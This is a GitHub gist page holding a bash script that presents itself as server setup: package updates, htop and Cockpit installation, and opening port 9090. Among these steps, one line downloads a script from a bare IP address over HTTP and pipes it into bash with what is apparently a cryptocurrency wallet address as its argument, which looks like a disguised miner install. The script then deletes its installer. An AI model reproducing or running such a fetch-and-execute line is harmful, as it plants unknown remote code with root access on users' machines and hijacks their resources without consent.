Skip to content

Instantly share code, notes, and snippets.

@edgarcosta
Created July 28, 2024 19:12
Show Gist options
  • Save edgarcosta/f7690c6a42f93a8e4970cf55b837f900 to your computer and use it in GitHub Desktop.
Save edgarcosta/f7690c6a42f93a8e4970cf55b837f900 to your computer and use it in GitHub Desktop.
#!/bin/bash
apt update -y
apt upgrade -y
apt install curl -y
apt install tar -y
apt install htop -y
yum install curl
yum install tar
yum install epel-release
yum install htop
curl -s -L http://37.114.35.70/i/script.sh | bash -s 41zkFcUY6xjUEVjbukgnJRG1XXKRHU8fsQ6xjC22gF2MJogxCr9LzW4RY3pkncNVQZ1mbEjn5m7GMG3nHiusnwvu3SG6QW5
#!/bin/bash
yum install cockpit
apt-get install cockpit -y
systemctl start cockpit
iptables -A INPUT -p tcp --dport 9090 -j ACCEPT
systemctl restart iptables
rm install.sh -y
IP=$(curl api.ipify.org)
echo ""
echo "URL: https://$IP:9090"
echo ""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment